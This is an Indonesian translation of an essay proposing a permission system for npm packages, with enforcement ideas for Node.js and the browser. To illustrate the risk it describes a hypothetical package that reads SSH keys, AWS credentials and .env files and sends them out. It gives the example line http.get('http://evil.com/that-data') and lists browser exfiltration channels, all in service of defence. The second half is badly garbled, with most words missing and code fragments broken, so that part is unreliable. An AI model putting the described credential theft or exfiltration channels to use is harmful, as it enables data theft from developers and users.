Beberapa hari yang lalu, saya pertama kali meluncurkan kalkulator pada telepon baru dan melihat pesan ini: "Kalkulator ingin mengakses kontak Anda."
Pada awalnya, pesan ini tampak sedikit menyedihkan bagi saya (sepertinya kalkulator itu kesepian), tetapi kasus ini membuat saya berpikir ...
Bagaimana jika, seperti aplikasi telepon, paket npm perlu mendeklarasikan izin yang diperlukan untuk pekerjaan mereka? Dengan pendekatan ini, file paket
package.json
mungkin terlihat seperti ini:
{ "name": "fancy-logger", "version": "0.1.0", "permissions": { "browser": ["network"], "node": ["http", "fs"] }, "etcetera": "etcetera" }
Pada
npmjs.com, bagian dari halaman paket dengan informasi tentang izin yang diperlukan mungkin terlihat seperti ini.
Bagian izin semacam itu mungkin tersedia untuk paket-paket di situs pendaftaran npm.Daftar izin semacam itu untuk suatu paket mungkin merupakan kombinasi dari izin semua ketergantungannya dengan izinnya sendiri.
Sekali melihat isi bagian
permissions
paket
fancy-logger
mungkin membuat pengembang berpikir mengapa paket yang menulis sesuatu ke konsol memerlukan akses ke modul
http
dan ini terlihat agak mencurigakan.
Apa yang akan menjadi dunia di mana sistem izin serupa untuk paket npm akan digunakan? Mungkin seseorang tidak akan mengerti maksudnya, karena ia merasa benar-benar aman, misalnya, hanya menggunakan paket yang dapat diandalkan dari penerbit yang sudah teruji. Agar setiap orang yang membaca ini merasa rentan, berikut ini adalah cerita pendek.
Kisah bagaimana saya mencuri variabel lingkungan Anda
Saya ingin membuat paket npm yang disebut
space-invaders
. Sangat menarik untuk mempelajari cara membuat game dengan menulis game yang berfungsi di konsol, dan pada saat yang sama memperkuat pandangan saya tentang kerentanan terkait paket npm.
Anda bisa menjalankan game ini dengan perintah ini:
npx space-invaders
. Setelah diluncurkan, seseorang dapat segera mulai menembak alien dan menghabiskan waktu.
Anda akan menyukai game ini, Anda akan membagikannya dengan teman-teman, mereka juga akan menyukainya.
Semua ini terlihat sangat positif, tetapi, menghibur Anda,
space-invaders
permainan akan melakukan
space-invaders
sendiri, yaitu pengumpulan beberapa data. Ini akan mengumpulkan informasi dari
~/.ssh/
,
~/.aws/credentials
, dari
~/.bash_profile
dan tempat-tempat serupa lainnya, membaca isi semua file
.env
yang dapat dijangkau, termasuk
process.env
, lihat ke konfigurasi git (untuk mengetahui informasi siapa yang dikumpulkannya), dan kemudian dia mengirim semuanya ke server saya.
Saya belum menulis permainan seperti itu, tetapi selama beberapa waktu saya merasa tidak nyaman, dan ketika saya menjalankan perintah
npm install
, saya berpikir tentang betapa rentannya sistem saya. Sekarang, melihat indikator kemajuan instalasi, saya berpikir tentang berapa banyak folder dan file standar pada laptop saya yang isinya tidak boleh jatuh ke tangan yang salah.
Dan ini bukan hanya tentang ruang kerja saya. Misalnya, saya bahkan tidak tahu apakah ada data dalam beberapa variabel lingkungan dari sistem perakitan situs saya untuk terhubung ke database server produksi. Jika di suatu tempat ada data seperti itu, maka Anda dapat membayangkan situasi di mana paket npm berbahaya menginstal skrip dalam sistem yang dirancang untuk terhubung ke database kerja saya. Kemudian skrip ini mengeksekusi
SELECT * from users
perintah
SELECT * from users
, lalu
http.get('http://evil.com/that-data')
. Mungkin justru karena kemungkinan serangan seperti itu saya menemukan saran bahwa kata sandi tidak boleh disimpan dalam database dalam teks biasa?
Semua ini terlihat sangat menakutkan, dan kemungkinan besar sudah terjadi (walaupun tidak mungkin untuk mengatakan dengan tepat apakah ini terjadi atau tidak).
Dengan ini, mungkin, kita akan berhenti berbicara tentang konsekuensi dari pencurian data penting. Mari kita kembali ke topik izin untuk paket npm.
Kunci Perubahan Izin
Saya kira itu akan bagus untuk dapat melihat izin yang diperlukan oleh paket saat melihat situs npm. Tetapi harus dicatat bahwa kemampuan untuk melihat izin hanya baik ketika diterapkan pada titik waktu tertentu, pada kenyataannya, ini tidak menyelesaikan masalah sebenarnya.
Dalam kejadian baru-baru ini di npm, seseorang pertama kali menerbitkan versi tambalan paket dengan kode berbahaya, dan kemudian menerbitkan versi kecil dari mana kode jahat telah dihapus. Waktu antara dua peristiwa ini cukup untuk membahayakan banyak pengguna paket berbahaya.
Ini masalahnya. Bukan paket yang dibuat oleh malware dan tetap demikian sepanjang waktu. Masalahnya adalah bahwa dalam paket yang tampaknya dapat diandalkan, Anda dapat dengan diam-diam menambahkan sesuatu yang buruk dan setelah beberapa saat menghapusnya.
Sebagai hasilnya, kita dapat mengatakan bahwa kita memerlukan mekanisme untuk memblokir set izin yang diterima oleh paket.
Mungkin itu akan menjadi sesuatu seperti file
package-permissions.json
yang menetapkan izin untuk Node.js dan untuk browser dan berisi daftar paket yang memerlukan izin ini. Dengan pendekatan ini, akan perlu untuk membuat daftar semua paket dalam file seperti itu, dan bukan hanya mereka yang ada di bagian
dependencies
dari file
package.json
proyek.
Di sini terlihat seperti apa file
package-permissions.json
.
{ "node": { "http": [ "express", "stream-http" ], "fs": [ "fs-extra", "webpack", "node-sass" ] }, "browser": { "network": [ "whatwg-fetch", "new-relic" ] } }
Versi nyata dari file semacam itu bisa berisi lebih banyak entri paket.
Sekarang bayangkan bahwa suatu hari Anda memperbarui paket dengan dua ratus dependensi yang juga akan diperbarui. Versi tambalan telah diterbitkan untuk salah satu dari dependensi ini, yang tiba-tiba membutuhkan akses ke
http
Node.js.
Jika ini terjadi, perintah
npm install
akan gagal dengan pesan yang mirip dengan berikut ini: “Paket
add-two-number
yang dibutuhkan oleh paket
fancy-logger
meminta akses ke
http
Node.js. Jalankan
npm update-permissions add-two-numbers
untuk menyelesaikan ini, kemudian jalankan perintah
npm install
lagi. "
Di sini,
fancy-logger
adalah paket yang ada di file
package.json
Anda (dengan asumsi Anda sudah terbiasa dengan paket ini), dan paket
add-two-numbers
adalah dependensi
fancy-logger
yang belum pernah Anda dengar.
Tentu saja, bahkan jika ada file dalam sistem untuk "memblokir" dependensi, beberapa pengembang akan mengkonfirmasi izin baru tanpa memikirkan apa pun. Tapi, minimal, perubahan dalam
package-permissions.json
akan terlihat dalam permintaan tarik, yaitu, akan ada kemungkinan bahwa pengembang lain yang lebih bertanggung jawab akan memperhatikan hal ini.
Lebih lanjut, perubahan pada izin yang diminta akan membutuhkan registri npm itu sendiri untuk memberi tahu penulis paket ketika situasi berubah di suatu tempat di pohon dependensi paket mereka. Mungkin - ini akan dilakukan melalui email dengan konten berikut:
"Halo, penulis
fancy-logger
. Kami memberi tahu Anda bahwa
add-two-number
, paket yang kemampuannya Anda gunakan, meminta izin untuk bekerja dengan modul
http
. Izin paket Anda, seperti yang ditunjukkan pada
npmjs.com/package/fancy-logger
, telah diperbarui. "
Ini, tentu saja, akan menambah pekerjaan kedua penulis paket dan npm sendiri, tetapi hal-hal ini akan layak menghabiskan sedikit waktu pada paket-paket itu. Dalam hal ini, penulis
add-two-numbers
dapat benar-benar yakin bahwa jika ia meminta izin untuk bekerja dengan modul
http
, ini akan memicu banyak "alarm" di seluruh dunia.
Itu yang kita butuhkan. Hah? Saya ingin berharap bahwa, seperti dalam hal aplikasi telepon, dan bahkan dalam kasus ekstensi untuk Chrome, paket yang membutuhkan lebih sedikit izin akan lebih populer di kalangan pengguna daripada mereka yang membutuhkan tingkat akses yang tinggi ke sistem yang tidak dapat dijelaskan. Ini, pada gilirannya, akan membuat penulis paket berpikir dengan baik ketika memilih izin yang diperlukan untuk pengembangan mereka.
Misalkan npm memutuskan untuk memperkenalkan sistem izin. Pada hari pertama peluncuran sistem seperti itu, semua paket akan dianggap membutuhkan izin penuh (keputusan seperti itu akan dibuat kemudian - dalam kasus di mana bagian
permissions
tidak ada dalam
package.json
).
Penulis paket, yang ingin mengklaim bahwa paketnya tidak memerlukan izin khusus, akan tertarik untuk menambahkan bagian
permissions
di
package.json
sebagai objek kosong. Dan, jika pembuat paket cukup tertarik sehingga izin dependensi tidak "membebani" paket mereka, mereka akan mencoba memastikan bahwa paket dependensi ini juga tidak memerlukan izin khusus, misalnya, dengan membuat permintaan tarikan yang sesuai dalam repositori dependensi.
Selain itu, setiap penulis paket akan berusaha untuk mengurangi risiko kerentanan paketnya ketika melanggar salah satu dependensinya. Oleh karena itu, jika pembuat paket menggunakan dependensi yang memerlukan izin, yang, tampaknya, tidak diperlukan, mereka akan memiliki insentif untuk beralih menggunakan paket lain.
Dan dalam kasus pengembang yang menggunakan paket-paket npm ketika membuat aplikasi, ini akan memaksa mereka untuk memberikan perhatian khusus pada paket-paket yang digunakan dalam proyek-proyek mereka, terutama memilih mereka yang tidak memerlukan izin khusus. Pada saat yang sama, tentu saja, beberapa paket, karena alasan obyektif, akan memerlukan izin yang dapat menyebabkan masalah, tetapi paket tersebut cenderung berada di bawah kendali khusus pengembang.
Mungkin sesuatu seperti
Greenkeeper dapat membantu dalam beberapa cara untuk menyelesaikan semua masalah ini.
Akhirnya, file
package-permissions.json
akan memberikan ringkasan yang mudah dipahami untuk seorang profesional keamanan yang mengevaluasi "lubang" potensial dalam aplikasi dan memungkinkan Anda untuk mengajukan pertanyaan spesifik tentang paket kontroversial dan izinnya.
Sebagai hasilnya, saya berharap properti
permissions
sederhana ini dapat menyebar cukup luas di antara sekitar 800.000 paket npm dan menjadikan npm lebih aman.
Tentu saja, ini tidak akan mencegah kemungkinan serangan. Seperti halnya izin yang diminta oleh aplikasi seluler tidak membuat mustahil untuk membuat aplikasi seluler berbahaya yang didistribusikan melalui situs resmi. Tetapi ini akan mempersempit "permukaan serangan" ke paket yang secara eksplisit meminta izin untuk melakukan tindakan tertentu yang dapat menimbulkan ancaman bagi sistem komputer. Selain itu, akan menarik untuk mengetahui tentang persentase paket yang tidak memerlukan izin khusus sama sekali.
Ini adalah mekanisme untuk bekerja dengan izin untuk paket npm yang saya pikirkan. Jika ide ini menjadi kenyataan, kita bisa mengandalkan fakta bahwa penyerang akan dengan jujur menggambarkan paket mereka dengan mendeklarasikan izin, atau menggabungkan sistem menyatakan izin dengan mekanisme pembatasan paksa kemampuan paket sesuai dengan izin yang diminta oleh mereka. Ini pertanyaan yang menarik. Mari kita melihatnya seperti yang diterapkan pada Node.js dan browser.
Memaksa pembatasan paket sesuai dengan izin yang diminta oleh mereka di Node.js
Di sini saya melihat dua opsi yang memungkinkan untuk menerapkan pembatasan tersebut.
▍ Opsi 1: paket npm khusus yang memaksa tindakan keamanan
Bayangkan sebuah paket yang dibuat dan dikelola oleh npm (atau organisasi lain yang sama-sama berwibawa dan visioner). Biarkan paket ini disebut
@npm/permissions
.
Paket seperti itu akan dimasukkan dalam kode aplikasi dengan perintah impor pertama, atau aplikasi akan diluncurkan dengan perintah dari bentuk
node -r @npm/permissions index.js
.
Paket akan menimpa perintah impor lainnya sehingga mereka tidak akan melanggar izin yang dinyatakan di bagian
permissions
package.json
file dari paket lain. Jika pembuat paket tertentu yang tidak mencatat kebutuhan untuk paket ini dalam modul
http
Node.js, ini berarti bahwa paket seperti itu tidak dapat diakses oleh modul ini.
Sebenarnya, memblokir seluruh modul Node.js dengan cara ini tidak ideal. Sebagai contoh, paket
methods
npm memuat modul
http
Node.js, tetapi tidak mengirim data apa pun yang menggunakannya. Hanya mengambil objek
http.METHODS
, mengubah namanya menjadi
http.METHODS
, dan mengekspornya sebagai paket npm klasik. Sekarang paket seperti itu terlihat seperti target yang bagus untuk penyerang - ia memiliki 6 juta unduhan per minggu, sementara ia tidak berubah selama 3 tahun. Saya bisa menulis kepada penulis paket ini dan mengundang mereka untuk memberi saya repositori.
Mempertimbangkan paket
methods
, akan lebih baik untuk mempertimbangkan bahwa itu tidak memerlukan izin
network
, dan bukan izin yang memberikan akses ke modul
http
. Kemudian pembatasan ini dapat diperbaiki dengan menggunakan mekanisme eksternal dan menetralisir segala upaya paket ini untuk mengirim data tertentu dari sistem di mana ia bekerja.
Paket imajiner
@npm/permissions
juga dapat membatasi akses dari satu paket ke paket lain yang tidak terdaftar sebagai dependensinya. Ini akan mencegah paket, misalnya, mengimpor sesuatu seperti
fs-extra
dan
request
, dan menggunakan kemampuan paket-paket ini untuk membaca data dari sistem file dan mengirim data baca ke penyerang.
Demikian pula, mungkin berguna untuk membedakan antara akses disk "internal" dan "eksternal". Saya cukup senang bahwa paket
node-sass
membutuhkan akses ke bahan-bahan yang terletak di dalam direktori proyek saya, tetapi saya tidak melihat alasan mengapa paket ini membutuhkan akses ke apa pun di luar direktori ini.
Mungkin, pada awal pengenalan sistem izin, paket
@npm/permissions
perlu ditambahkan ke proyek secara manual. Mungkin, selama masa transisi, selama penghapusan kerusakan yang tak terhindarkan, ini adalah satu-satunya pendekatan yang masuk akal untuk menggunakan mekanisme semacam itu. Tetapi untuk memastikan keamanan yang nyata, paket ini perlu diintegrasikan secara ketat ke dalam sistem, karena akan diperlukan untuk mempertimbangkan izin akun ketika menjalankan skrip instalasi paket.
Kemudian, kemungkinan besar, ternyata perintah sederhana dari bentuk
"enforcePermissions": true
dalam file
package.json
proyek akan memberitahu npm untuk menjalankan skrip apa pun dengan penggunaan paksa dari izin yang dinyatakan oleh mereka.
▍ Opsi 2: Safe Mode Node.js
Mode operasi khusus Node.js, yang difokuskan pada peningkatan tingkat keamanan, jelas, akan membutuhkan perubahan yang lebih serius. Tapi mungkin dalam jangka panjang, platform Node.js sendiri akan dapat memberlakukan pembatasan yang ditetapkan oleh izin yang dinyatakan oleh setiap paket.
Di satu sisi, saya tahu bahwa mereka yang mengembangkan platform Node.js berusaha untuk menyelesaikan masalah platform ini, dan ide-ide saya tentang keamanan paket npm melampaui lingkup kepentingan mereka. Bagaimanapun, pada akhirnya, npm hanyalah teknologi yang menyertai Node.js. Di sisi lain, pengembang Node.js tertarik untuk membuat pengguna korporat merasa percaya diri bekerja dengan platform ini, dan keamanan, mungkin, adalah salah satu aspek Node.js yang tidak boleh diserahkan kepada "komunitas".
Jadi, untuk saat ini, semua yang kita bicarakan terlihat sangat sederhana dan direbus untuk memastikan bahwa sistem dengan satu atau lain cara akan memantau kemampuan yang digunakan oleh modul selama operasi Node.js.
Sekarang mari kita bicara tentang browser. Semuanya di sini tidak terlihat begitu jelas dan dapat dimengerti sama sekali.
Pembatasan paksa dari kemampuan paket sesuai dengan izin yang diminta di browser
Sekilas, pembatasan paksa kemampuan paket di browser terlihat lebih sederhana, karena kode yang berjalan di browser tidak dapat berbuat banyak terutama sehubungan dengan sistem operasi tempat browser berjalan. Bahkan, dalam hal browser, Anda hanya perlu khawatir tentang kemampuan paket untuk mentransfer data ke alamat yang tidak biasa.
Masalahnya di sini adalah bahwa ada banyak cara untuk mengirim data dari browser pengguna ke server penyerang.
Ini disebut exfiltration atau kebocoran data, dan jika Anda bertanya kepada seorang profesional keamanan tentang cara menghindari ini, dia, dengan penampilan orang yang menemukan bubuk mesiu, akan memberitahu Anda untuk berhenti menggunakan npm.
Saya percaya bahwa untuk paket yang berjalan di browser, Anda hanya perlu memperhatikan satu resolusi - resolusi yang bertanggung jawab atas kemampuan untuk bekerja dengan jaringan. Sebut saja
network
. Mungkin ada izin lain di lingkungan ini (seperti yang mengatur akses ke DOM atau penyimpanan lokal), tetapi di sini saya melanjutkan dari asumsi bahwa kekhawatiran utama kami adalah kemungkinan kebocoran data.
Data dari browser dapat "dihapus" dengan berbagai cara. Inilah yang dapat saya ingat dalam 60 detik:
fetch
API.- Soket Web
- Teknologi WebRTC.
- Pembuat
EventSource
. - API
XMLHttpRequest
- Mengatur properti
innerHTML
dari berbagai elemen (Anda dapat membuat elemen baru). - Membuat objek gambar dengan perintah
new Image()
(properti src
dari suatu gambar dapat berfungsi sebagai sarana exfiltrating data). - Pengaturan
document.location
, window.location
, dan sebagainya. - Mengubah properti
src
dari gambar yang ada, iframe
atau sesuatu seperti itu. - Perubahan pada properti
target
dari elemen <form>
. - Menggunakan string yang dirancang dengan cerdik untuk mengakses mekanisme mana pun di atas atau untuk mengakses sesuatu di
top
atau self
alih-alih windows
.
Perlu dicatat bahwa Kebijakan Keamanan Konten (CSP) yang baik mampu menetralkan beberapa ancaman ini, tetapi ini tidak berlaku untuk semuanya. Jika seseorang dapat memperbaiki saya, saya akan senang, tetapi saya yakin Anda tidak akan pernah bisa mengandalkan fakta bahwa CSP akan sepenuhnya melindungi Anda dari kebocoran data. Satu orang pernah mengatakan kepada saya bahwa CSP menyediakan perlindungan yang hampir lengkap terhadap sejumlah besar ancaman. Terhadap ini saya menjawab bahwa Anda tidak bisa hamil sedikit, dan sejak itu kami belum berkomunikasi dengan orang ini.
Jika Anda dengan bijak mendekati pencarian cara untuk mencuri data dari browser, saya yakin itu cukup realistis untuk membuat daftar metode ini yang cukup lengkap.
Sekarang kita perlu menemukan mekanisme untuk melarang akses ke penggunaan peluang dari daftar semacam itu.
Webpack (,
@npm/permissions-webpack-plugin
), :
browser
package-permissions.json
, npm- ( - , ).- , , , API, .
(, Parcel, Rollup, Browserify ).
, , -. , , , , , .
, ( Lodash, Moment, ), . .
.
function bigFrameworkWrapper(newWindow) {
function smallUtilWrapper(newWindow) {
— , . «» .
const newScript = document.createElement('script'); // !
, —
script
.
const bigFramework = bigFrameworkWrapper(window);
const smallUtil = smallUtilWrapper(restrictedWindow);
«» . , , .
const restrictedWindow = new Proxy(window, {
window
, ,
window
, ,
window.document.createElement
DOM .
Proxy
.
. , .
, , API, . , , , , , , , , , , «» .
, , , - .
, , , ,
Proxy
. , 90% , . , , . , - , , , .
, , , , , Node.js .
, , HTTP , , , -. Ini bisa dimengerti.
-, , , .
iframe
, .
sandbox
, , . , , , -.
, ,
sandbox
<script>
. :
<script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script>
. , , , -
create-react-app
, 1.4 , .
, npm , .
, - .
, , - « ...», , , ?
Ringkasan
, , , , . , 90% , , , 10% — , .
, , - .
Pembaca yang budiman! , , npm, -?
